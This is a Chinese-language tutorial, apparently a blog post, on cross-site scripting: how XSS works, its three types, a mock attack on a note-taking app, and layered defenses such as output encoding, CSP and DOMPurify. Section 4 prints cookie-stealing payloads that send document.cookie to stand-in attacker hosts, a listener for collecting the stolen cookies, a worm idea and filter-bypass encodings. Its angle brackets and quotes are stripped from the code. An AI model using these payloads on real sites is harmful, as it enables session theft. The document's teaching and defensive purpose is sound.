1. 项目概述为什么XSS依然是Web安全的“头号通缉犯”干了这么多年安全每次给新人做内训XSS跨站脚本攻击永远是我放在最前面讲的。不是因为它技术多新潮恰恰相反它太“古老”了从Web诞生之初就如影随形。但就是这个“老家伙”在OWASP Top 10榜单上常年霸榜直到今天依然是漏洞赏金平台SRC和渗透测试报告里的常客。你可能会想一个二十多年前就存在的漏洞为什么还没被消灭原因很简单它的原理直击Web应用交互的核心——信任。开发者信任用户输入的数据是“数据”但攻击者偏偏把它变成“代码”来执行。这种信任与背叛的博弈让XSS的攻防充满了细节和变数。简单来说XSS就是攻击者通过在Web页面中注入恶意的客户端脚本通常是JavaScript当其他用户浏览这个页面时脚本就会在他们的浏览器里执行。后果可大可小轻则弹个窗恶作剧重则盗取你的登录Cookie、劫持你的会话、在你眼皮底下伪造转账请求甚至结合其他漏洞拿下服务器权限。我见过太多因为一个搜索框、一个评论功能没处理好导致整站用户数据泄露的案例。所以无论你是前端、后端还是运维只要你的工作和Web沾边理解XSS就不是“加分项”而是“必选项”。这篇文章我就从一个老兵的视角掰开揉碎了跟你聊聊XSS。我们不只讲教科书上的分类更要深入到HTTP请求与响应的细节里看看漏洞到底是怎么“长”出来的我们不止讲怎么防更要讲攻击者会怎么绕以及你写的那些过滤规则为什么可能形同虚设。最后我会用一个完整的实战场景带你从漏洞发现、利用、到最终修复走完一个完整的闭环。目标就一个让你下次在代码里看到innerHTML或者eval()的时候后背能微微一凉那就对了。2. XSS漏洞的核心原理信任的边界在哪里要理解XSS你必须先忘掉那些复杂的分类名词回到最根本的问题上浏览器是如何区分一段文本是“要显示的数据”还是“要执行的代码”的2.1 浏览器渲染引擎的“困惑时刻”想象一下你是一个浏览器的HTML解析引擎。你收到服务器发来的一串文本HTML文档你的任务是把这串文本变成用户看到的漂亮页面。你逐行读取遇到script标签你知道里面的内容是JavaScript代码要交给JavaScript引擎去执行。遇到div、p标签你知道里面的内容是文本要原样渲染到页面上。你的工作一直很顺利直到你遇到了这样一段来自用户评论的内容用户评论scriptalert(你被黑了)/script如果后端开发者偷了懒没有对用户输入做任何处理直接把这段评论拼接进HTML页面里返回给你你会怎么办你会忠实地执行你的职责看到script标签触发JavaScript引擎执行alert(你被黑了)。于是一个弹窗就在浏览者的面前出现了。这就是XSS最原始的模样数据被错误地解释为代码。问题的根源在于服务器返回的HTML是一个扁平的字符串流浏览器只能根据既定的语法规则标签、属性、事件处理器来解析它。它没有“智能”到能判断某段script是开发者写的合法代码还是攻击者塞进来的恶意代码。它只认语法不认意图。2.2 关键注入点数据如何“混入”代码流攻击者的恶意数据通常通过以下几个渠道混入到本应是代码的上下文中HTML标签体内比如一个显示用户名的位置div${username}/div。如果username是scriptalert(1)/script那么它就会被插入到div标签体内。但这里有个关键在普通的HTML标签体内非属性单纯的script字符串会被当成文本渲染不会执行。除非...它被放到了一个能动态解析HTML的上下文里比如innerHTML属性或者它闭合了前面的标签开启了新的脚本块。例如username /divscriptalert(1)/script这就能逃出div的“束缚”开始一个新的脚本标签。HTML标签属性值这是更常见、也更危险的场景。比如一个图片标签img src${userAvatarUrl}。看起来userAvatarUrl只是一个URL地址放在src属性里很安全。但如果攻击者输入的不是一个URL而是 onerroralert(XSS)呢拼接之后变成img src onerroralert(XSS)攻击者通过提前闭合src属性的双引号然后额外添加了一个onerror事件处理器。当图片加载失败src为空必然失败onerror里的JavaScript代码就会执行。属性值特别是事件处理器属性onclick,onerror,onload等、hrefjavascript:协议、srcdata:协议都是高危地带。JavaScript代码字符串中这是DOM型XSS的典型场景。比如前端从URL参数中获取一个值并动态生成JavaScript代码var userInput getURLParameter(keyword); document.write(您搜索的关键词是: userInput);如果keyword参数是; alert(1);//那么拼接后的代码就成了document.write(您搜索的关键词是: ; alert(1);//);攻击者通过闭合了字符串和语句成功注入了新的JS代码。eval()、setTimeout()、new Function()这类能动态执行字符串的函数是这类攻击的“重灾区”。核心心法防御XSS本质上就是在这些“数据可能混入代码”的边界上建立清晰的隔离带。你要明确地告诉浏览器“从这里开始到那里结束里面的所有内容都是纯文本无论如何都不许当成代码来解析。”3. XSS的三大分类不只是“存储”和“反射”那么简单教科书上通常把XSS分为反射型、存储型和DOM型。这个分类很有用但它更多是从漏洞的“持久性”和“触发位置”来划分的。从攻击者的视角来看我更喜欢根据“输入点”和“输出点”的路径来思考因为这直接决定了攻击的难度和利用方式。3.1 反射型XSS一次性的“钓鱼钩”反射型XSS也叫非持久型XSS。它的数据流是这样的攻击者构造一个含有恶意脚本的URL - 诱骗受害者点击这个URL - 服务器收到请求将恶意脚本“反射”回响应的HTML页面中 - 受害者的浏览器解析响应执行恶意脚本。典型场景搜索框、错误信息页面、URL重定向参数等。这些功能的特点是用户输入的内容会立刻显示在返回的页面上但不会被服务器保存到数据库。攻击示例 一个搜索功能后端PHP代码可能这样写echo p您搜索的关键词是: . $_GET[q] . /p;攻击者构造URLhttp://vulnerable-site.com/search.php?qscriptalert(document.cookie)/script用户点击后页面就会弹出包含其Cookie的警告框。为什么它危险虽然它不持久但结合社会工程学如钓鱼邮件、短链接伪装危害极大。攻击者可以直接盗取用户会话进行“一次性的”劫持。实战要点寻找注入点重点关注所有将URL参数、POST表单数据需构造自动提交表单直接输出到页面的地方。绕过技巧如果网站对script进行了过滤可以尝试大小写混合、嵌套标签、使用HTML实体编码、利用JavaScript事件属性如onmouseover、甚至使用SVG或MathML等更冷门的标签来绕过检测。利用限制反射型XSS的Payload通常出现在URL里长度可能受浏览器或服务器限制。需要构造短小精悍的Payload。3.2 存储型XSS潜伏的“定时炸弹”存储型XSS是危害最大的一种。恶意脚本被攻击者提交后被服务器保存到了数据库或文件系统等持久化存储中。之后任何访问到该数据页面的普通用户其浏览器都会自动执行这段恶意脚本。典型场景论坛帖子、用户评论、个人简介、网站留言板、商品评价、用户昵称等。凡是用户输入能被其他用户看到的地方都可能存在。攻击示例 一个博客评论系统评论内容未经处理存入数据库。攻击者发表一条评论内容为这篇博文真棒img srcx onerror var img new Image(); img.src http://attacker.com/steal?cookie encodeURIComponent(document.cookie); 此后任何访问这篇博文的用户在加载这条评论时其Cookie都会被悄无声息地发送到攻击者的服务器attacker.com。为什么它最危险它具有“一次注入长期危害”的特点影响范围是所有访问相关页面的用户极易造成大规模数据泄露。修复它往往需要清理数据库历史数据成本高昂。实战要点黑盒测试在可以持久化数据的功能点尝试提交包含简单测试Payload如svg onloadalert(1)的数据然后查看该数据的展示页面观察是否执行。Payload设计存储型XSS的Payload可以更复杂因为它不需要出现在URL中。可以加载外部JS脚本执行复杂的窃取和横向移动操作。注意输出上下文同一个数据可能在网站多个地方列表页、详情页、管理后台以不同方式纯文本、富文本、JSON输出需要逐一测试。3.3 DOM型XSS纯前端的“影子杀手”DOM型XSS是一种比较特殊的类型。它的特点是恶意数据的“注入”和“执行”都完全发生在客户端的浏览器中不经过服务器端的处理或者服务器端处理了但前端又以不安全的方式使用了数据。漏洞的根源在于前端JavaScript代码不安全地操作了DOM。数据流攻击者构造恶意URL - 受害者访问 - 浏览器端的JavaScript代码如从location.hash、document.referrer或URL参数中读取了恶意数据 - 该数据被以不安全的方式如innerHTML、document.write、eval写入DOM - 脚本执行。典型场景前端框架特别是早期或使用不当的、基于URL hash的路由、客户端模板渲染、从window.name或postMessage读取数据并动态更新页面等。攻击示例 一个单页应用SPA使用URL的hash片段来定位内容// 不安全的代码 var page location.hash.substring(1); // 获取 # 后面的内容 document.getElementById(content).innerHTML 正在加载: page;攻击者构造URLhttp://spa-site.com/#img srcx onerroralert(1)用户访问时location.hash的值被直接设置到了innerHTML中导致XSS。为什么它棘手对服务器隐身因为恶意Payload在URL的hash部分#之后或通过客户端逻辑生成这部分内容通常不会发送到服务器#后的内容浏览器不发送所以传统的WAFWeb应用防火墙和服务器端日志监控可能完全看不到攻击痕迹。依赖代码审计黑盒扫描工具很难全面覆盖所有前端JS代码的执行路径发现DOM型XSS通常需要白盒代码审计或非常细致的手工测试。修复涉及前后端有时需要改变前后端的数据交互协议而不仅仅是加一个过滤函数。实战要点测试方法手工测试时要密切关注前端JS代码。使用浏览器开发者工具的“Sources”和“Debugger”面板在代码中搜索innerHTML、outerHTML、document.write、eval、setTimeout/setInterval第一个参数为字符串时、Function构造函数、location对象属性等危险“接收器”Sink。输入源追踪找到危险函数后向上回溯数据的来源Source如location.search、location.hash、document.referrer、window.name、postMessage数据、Ajax响应数据等。构建从Source到Sink的数据流链条。自动化辅助可以使用类似DOM InvaderBurp Suite内置或Browser Exploitation Framework (BeEF)的钩子来辅助探测。重要区分很多人会混淆“反射型”和“DOM型”。一个简单的判断方法是看恶意脚本是否通过修改DOM树来引入。如果Payload是通过服务器响应直接嵌入HTML body然后浏览器解析执行的那是反射/存储型。如果Payload是前端JS从某个地方如URL读取然后通过JS函数写入DOM的那就是DOM型。两者可以结合例如一个反射型Payload其输出点正好在一个innerHTML操作中这时它既是反射型也具备DOM型的特征。4. 从攻击者视角实战一次完整的XSS漏洞挖掘与利用光说不练假把式。我们假设一个目标一个简单的在线笔记应用。它有用户登录、创建笔记、编辑笔记、分享笔记通过链接的功能。我们的任务是从黑盒角度找到并利用一个XSS漏洞。4.1 信息收集与功能点分析首先我们以普通用户身份注册登录。梳理出所有用户可控的输入点注册/登录用户名、邮箱、密码通常不是XSS重点。笔记功能笔记标题文本笔记内容可能是纯文本或富文本编辑器笔记标签可能是一个输入框用逗号分隔个人资料昵称、个人简介、头像URL。其他搜索框、URL参数如分享链接note_id。我们的测试策略是在每个输入点提交一些基本的XSS探测Payload观察响应。第一阶段基础探测我们使用一个经典的探测Payloadsvg onloadalert(1)。为什么用这个svg标签在HTML5中合法且支持事件处理器。onload事件在元素加载完成后触发无需用户交互。alert(1)是一个明显的视觉反馈能快速确认执行成功。我们在“笔记标题”处提交这个Payload。保存后返回笔记列表页和详情页查看。结果在列表页标题显示为纯文本“svg onloadalert(1)”没有弹窗。但在笔记详情页弹窗出现了这说明后端对“标题”字段在列表页可能是摘要显示做了HTML转义但在详情页可能是完整内容渲染没有做或者处理方式不同。4.2 漏洞确认与上下文判断弹窗成功确认存在XSS。下一步是判断输出上下文以便构造更有杀伤力的Payload。检查是否在HTML标签内我们提交/titlesvg onloadalert(2)试图闭合前面的title标签。如果成功说明我们位于HTML文档的head部分或某个标签内部。测试后发现没有新弹窗且页面标题被破坏说明我们可能不在一个可以轻易闭合的简单标签内或者有过滤。检查是否在HTML属性内提交 onmouseoveralert(attr)。如果输出在类似input valueOUR_INPUT的上下文中这可能会增加一个onmouseover属性。测试后无反应。检查是否在JavaScript上下文中提交;alert(js);//。如果输出在scriptvar noteTitle OUR_INPUT;/script这样的地方这会闭合字符串并执行新语句。测试后无反应。根据简单测试我们的Payload被直接插入到了HTML body的某个标签内部如div或h1并且该标签支持解析子HTML即使用了innerHTML或类似机制。svg标签被成功解析并执行。4.3 构造利用Payload盗取Cookie既然可以执行任意JS我们的目标从“证明漏洞”升级为“实际利用”。最常见的利用是盗取用户的会话Cookie。构造窃取Cookie的Payload我们替换之前的svg onloadalert(1)为以下内容svg/onload var img new Image(); img.src https://attacker-server.com/steal?c encodeURIComponent(document.cookie); 解释使用svg/onload...是一种简写有时可以绕过对空格或特定格式的过滤。使用反引号定义字符串可以跨行方便书写复杂JS。Image()对象常用于发起一个GET请求到攻击者控制的服务器并将Cookie作为参数附加在URL上。这种方式简单、兼容性好且不像fetch或XMLHttpRequest可能受CORS限制。encodeURIComponent确保Cookie中的特殊字符如分号不会破坏URL。搭建攻击者服务器 为了接收被盗的Cookie我们需要一个简单的HTTP服务。可以用Python快速搭建python3 -m http.server 8000然后在同一台机器的公网IP或域名下实战中你需要一个VPS访问http://your-ip:8000就能看到请求日志。更专业的做法是写一个小的PHP或Node.js脚本来记录请求参数到文件。陷阱与绕过 实战中网站可能有简单的防御措施过滤script标签我们用了svg成功绕过。过滤onload、onerror等事件可以尝试其他事件如svganimate onbeginalert(1)或者使用iframe的srcdoc属性iframe srcdocscriptalert(1)/script。内容安全策略CSP如果服务器设置了严格的CSP如script-src self我们的内联脚本svg onload...将不会执行。这时需要检查CSP策略寻找是否允许加载特定域的外链脚本或者尝试其他不依赖脚本执行的攻击如CSS窃取数据局限性大。HttpOnly Cookie如果会话Cookie被标记为HttpOnly我们的document.cookie将读不到它这能有效防御Cookie窃取。此时攻击者可能需要转向会话劫持直接使用被盗的Cookie发起请求或进行其他操作如发起钓鱼、修改页面内容等。4.4 扩大战果蠕虫与持久化如果这个XSS是存储型的并且出现在社交性功能如评论、留言中我们可以尝试构造“XSS蠕虫”让攻击自我传播。一个简化的蠕虫思路Payload除了窃取Cookie还自动以当前被感染用户的身份向其他用户发送一条包含同样恶意Payload的私信或评论。这需要Payload能通过AJAX调用网站的API。这要求网站API没有CSRF保护或者我们能从当前页面窃取到CSRF Token。构造这样的Payload复杂度很高且极易被发现。但它说明了存储型XSS在社交场景下的巨大破坏潜力。在我们的笔记应用里也许我们可以让Payload自动创建一个新的公开笔记笔记内容包含恶意代码从而实现一定程度的扩散。5. 从开发者视角防御构建多维度的XSS防线知道了怎么攻击防御的思路就清晰了。防御XSS不是靠一个“银弹”而是一套组合拳需要在数据流动的各个层面建立防线。5.1 第一道防线输入验证与过滤谨慎使用很多人第一反应是“过滤掉所有和不就行了” 这是最朴素也最危险的想法。严格的输入过滤往往会导致数据失真且很难做到完美绕过。正确的做法是对输入进行严格的“验证”而非“过滤”。定义白名单根据字段的预期类型只接受符合格式的数据。用户名只允许字母、数字、下划线长度限制。邮箱严格的邮箱格式正则验证。数字ID必须是整数。对于富文本如博客正文、评论这是最棘手的。绝对不要尝试用正则表达式去黑名单过滤HTML标签。请使用成熟的、经过安全审计的富文本编辑器如Quill、TinyMCE配合其安全配置或者使用严格的白名单库如DOMPurify在输出前进行净化。编码转换不是过滤不要把转换成lt;gt;当作输入过滤。输入层应该保持数据的原始性在合理验证通过后。编码应该在输出层根据具体的输出上下文进行。核心原则“输入验证输出编码”。输入层保证数据符合业务规则和类型输出层根据数据将要放置的上下文进行相应的编码确保它被解释为数据而非代码。5.2 第二道防线输出编码最关键这是防御XSS最有效、最根本的手段。你需要根据数据被插入的位置选择正确的编码方式。HTML内容上下文标签体内 使用HTML实体编码。将特殊字符转换为对应的HTML实体。-lt;-gt;-amp;-quot;-#x27;(或apos;但后者不是HTML标准在XML中更常用) 在PHP中可以用htmlspecialchars($string, ENT_QUOTES, UTF-8)。在Java中可以用org.apache.commons.text.StringEscapeUtils.escapeHtml4()。现代前端框架如React、Vue、Angular默认都会对模板中的插值进行HTML转义。HTML属性上下文 同样使用HTML实体编码但尤其要注意引号。属性值必须用引号括起来单引号或双引号然后对属性值中的引号和特殊字符进行编码。// 正确示例 echo input value . htmlspecialchars($userInput, ENT_QUOTES) . ; // 即使用户输入是 onmouseoveralert(1)也会被编码成 quot; onmouseoverquot;alert(1)从而成为一个无害的属性值。JavaScript上下文在JS字符串中 这需要将数据放入JS字符串字面量中并对字符串中的特殊字符进行转义。换行符 -\n单引号 -\双引号 -\反斜杠 -\\Unicode字符 -\uXXXX更好的做法是避免在JS中拼接HTML或数据。使用textContent或setAttribute来操作DOM或者使用安全的API。如果必须将JSON数据内联到HTML中请确保先对JSON字符串进行HTML编码然后在JS中解析。// 危险 var userData % rawJsonString %; // 如果rawJsonString包含 /scriptscriptalert(1)就会出问题 // 安全做法在服务端模板中 var userData JSON.parse(% htmlEncode(jsonString) %);URL上下文href, src等 使用URL编码。确保用户提供的URL是以安全的协议开头http://,https://禁止javascript:协议。可以使用白名单协议校验。function sanitizeUrl(url) { const parsed new URL(url, window.location.href); // 利用URL API解析 const allowedProtocols [http:, https:, mailto:]; if (!allowedProtocols.includes(parsed.protocol)) { return about:blank; // 或返回一个安全的默认值 } return url; }5.3 第三道防线内容安全策略CSP——最后的堡垒CSP是一个HTTP响应头它告诉浏览器哪些外部资源可以被加载和执行是缓解XSS的终极武器。即使攻击者成功注入了脚本如果CSP策略禁止内联脚本执行或只允许从特定可信源加载脚本那么注入的脚本也无法运行。一个严格的CSP示例Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com; style-src self unsafe-inline; img-src *; object-src none;default-src self默认只允许加载同源资源。script-src self https://trusted.cdn.com脚本只允许从同源和指定的CDN加载禁止内联脚本如script.../script和onclick...。这是防御XSS的关键style-src self unsafe-inline样式允许同源和内联实践中内联样式风险较低但也可以考虑禁止。img-src *图片可以从任何地方加载根据业务需要调整。object-src none禁止object、embed、applet防范Flash等插件攻击。部署CSP的挑战内联脚本和样式很多老代码和第三方库依赖内联脚本/样式。迁移到外部文件或使用nonce/hash机制需要工作量。unsafe-eval禁止eval()、new Function()等动态代码执行可能会破坏某些前端框架或库。报告机制可以先使用Content-Security-Policy-Report-Only头来监控策略的影响而不实际拦截待稳定后再强制执行。5.4 第四道防线安全的开发框架与库现代前端框架React、Vue、Angular等默认都会对模板中绑定的数据进行HTML转义。除非你主动使用dangerouslySetInnerHTMLReact或v-htmlVue等危险API否则很难引入XSS。但切记这只能防护基于HTML的XSS对于在JS中拼接URL或字符串导致的漏洞框架无能为力。安全的DOM API优先使用textContent替代innerHTML使用setAttribute替代直接拼接属性字符串。富文本处理使用DOMPurify这样的库。它接受一个脏的HTML字符串根据一个可配置的白名单移除所有危险的标签和属性返回安全的HTML。这是处理用户提交的富文本内容的最佳实践。import DOMPurify from dompurify; const cleanHtml DOMPurify.sanitize(dirtyHtml, { ALLOWED_TAGS: [b, i, em, strong, a], ALLOWED_ATTR: [href] });5.5 其他辅助措施设置Cookie的HttpOnly和Secure属性HttpOnly使Cookie无法通过JavaScript的document.cookieAPI访问能有效阻止XSS盗取会话。Secure要求Cookie仅通过HTTPS传输。输入长度限制虽然不是安全措施但可以增加攻击者构造复杂Payload的难度。WAFWeb应用防火墙可以在网络层拦截一些已知的、特征明显的XSS攻击Payload作为应急和纵深防御的一环。但绝不能依赖WAF来修复根本的代码漏洞聪明的攻击者很容易绕过WAF的规则。6. 高级绕过技巧与防御演进攻防的永恒博弈安全措施在升级攻击者的技巧也在进化。了解这些高级技巧不是为了去攻击而是为了写出更坚固的防御代码。6.1 编码与解码的“套娃”游戏这是最常见的绕过场景。假设服务器端对输入进行了HTML实体编码但之后在某个环节又错误地进行了解码。场景用户输入lt;scriptgt;alert(1)lt;/scriptgt;。服务器端“过滤”函数将其编码为amp;lt;scriptamp;gt;alert(1)amp;lt;/scriptamp;gt;存入数据库。但前端显示时JavaScript代码却错误地使用了innerHTML去赋值而innerHTML会进行HTML解码于是amp;lt;被解码成lt;amp;gt;被解码成gt;最终lt;scriptgt;alert(1)lt;/scriptgt;被innerHTML解析lt;和gt;再次被解码成和脚本执行。防御确保编码的一致性。一旦数据在服务端被确定为“文本”并进行了编码在前端就应该使用textContent来显示或者确保前端不会对其进行二次解码。永远不要相信客户端会正确处理编码。6.2 利用浏览器解析差异不同浏览器甚至同一浏览器的不同版本对畸形HTML的解析可能存在差异。攻击者会利用这些差异来绕过基于正则表达式的过滤器。标签名绕过ScRiPt、script/typetext/javascript、script\x20typetext/javascript使用换码符。属性分隔符绕过除了空格Tab键\t、换行符\n、回车符\r以及多个空格都可以在HTML中分隔属性。img srcx onerroralert(1)可以写成img/srcx/onerroralert(1)。无引号属性值如果属性值不包含空格可以不用引号。过滤器如果只检查onerror...或onerror...可能会漏掉onerroralert(1)。HTML实体编码在属性中的解析在某些上下文中HTML实体编码会被浏览器解析。例如img srcx onerror#x61;#x6c;#x65;#x72;#x74;#x28;#x31;#x29;其中的#x61;等是字符a的十六进制HTML实体浏览器在解析onerror属性时会将其解码为alert(1)。防御不要自己写正则表达式过滤HTML使用标准的编码函数或像DOMPurify这样的专业库它们会模拟浏览器解析从根本上杜绝这类问题。6.3 基于JavaScript特性的绕过当输出点在JavaScript字符串中时绕过方式更加灵活。字符串拼接;alert(1);//是最简单的闭合。反引号模板字符串如果JS代码使用反引号那么Payload需要闭合反引号;alert(1);//。八进制/十六进制编码JS字符串可以包含转义序列。\x61\x6c\x65\x72\x74\x28\x31\x29是alert(1)的十六进制表示。\141\154\145\162\164\050\061\051是八进制表示。一些过滤器可能不会解码这些形式。Unicode编码\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029也是alert(1)。eval()和Function构造函数如果存在eval(data)或new Function(data)那么data中的任何字符串都会被当作代码执行。即使data看起来是经过编码的如果它在执行前被解码就非常危险。防御避免在JavaScript中拼接用户数据来生成代码。如果必须请使用JSON.stringify()将数据序列化为字符串这样特殊字符会被正确转义。然后使用JSON.parse()来读取。6.4 DOM型XSS的独特绕过Source和Sink的多样性DOM型XSS的绕过往往在于找到那些未被充分审查的“Source”数据来源和“Sink”危险函数。非常规Sourcedocument.referrer来自其他页面的Referer头。window.name一个窗口的名称可以在跨页面甚至跨域在一定条件下传递数据。postMessage数据用于跨域通信如果消息处理不当可能将恶意数据传入Sink。location对象的各个部分search查询参数、hash锚点、pathname。Web Storage(localStorage,sessionStorage)如果攻击者能通过其他方式如另一个XSS写入恶意数据到这里它就成了一个持久的Source。非常规Sinkeval()和Function构造函数最危险。setTimeout()/setInterval()的第一个参数是字符串时。location.href/location.assign()/location.replace()如果URL包含javascript:协议。document.write()/document.writeln()。.outerHTML属性。Range.createContextualFragment()。jQuery的一些方法如$(div).html(userInput)、$(userInput)、.append()等如果传入的是字符串且以开头jQuery会将其解析为HTML。防御进行彻底的客户端代码安全审计对所有从“Source”到“Sink”的数据流进行跟踪和净化。使用静态代码分析工具如ESLint安全插件来识别危险的代码模式。7. 实战后的思考将XSS防御融入开发流程找到并修复一个XSS漏洞很有成就感但更重要的是如何不让它再次发生。这需要将安全思维融入到整个软件开发生命周期SDLC中。安全需求与设计阶段在项目初期就明确哪些功能会处理用户输入定义数据的信任边界。决定哪些字段允许富文本哪些只允许纯文本。设计API时明确输入输出的数据格式和编码。编码阶段培训让所有开发者包括前端理解XSS的原理和危害。使用安全框架和库强制使用具有自动转义功能的模板引擎、安全的DOM操作API以及DOMPurify这样的净化库。建立安全编码规范在团队Wiki中明确禁止使用innerHTML、eval()等危险函数除非经过严格审查并提供安全工具函数替代。代码审查阶段将安全作为代码审查的必选项。重点审查所有处理用户输入、数据库输出、动态HTML生成、URL拼接、JSON序列化/反序列化的代码。使用自动化代码扫描工具如SonarQube、Checkmarx、Fortify作为辅助。测试阶段自动化DAST扫描使用OWASP ZAP、Burp Suite Professional的主动扫描功能对应用进行常规漏洞扫描。人工渗透测试定期邀请安全团队或外部白帽子进行深度测试特别是对核心业务和新增功能。Bug Bounty如果条件允许建立SRC安全应急响应中心借助外部安全研究者的力量。部署与运维阶段部署CSP即使不能一开始就做到最严格也要逐步推行Content-Security-Policy-Report-Only收集违规报告持续优化策略。设置安全头除了CSP还有X-Content-Type-Options: nosniff防止MIME类型混淆攻击、X-Frame-Options: DENY防止点击劫持等。监控与响应建立安全事件监控和应急响应流程。对于存储型XSS一旦发现要能快速定位受影响数据、清理数据库、通知用户。XSS是一场关于“信任”的持久战。攻击者在不断寻找信任链条中最薄弱的一环。作为防御者我们的工作就是通过层层设防——从严谨的输入验证、到上下文相关的输出编码、再到浏览器级别的安全策略CSP——将这份“信任”的范围缩到最小代价提到最高。每一次代码审查时对innerHTML的警惕每一次对用户数据输出前的那个htmlspecialchars调用都是在为整个应用的安全城墙添砖加瓦。这条路没有终点但每一步都算数。
一键保存高清图表到本地（附完整参数详解）)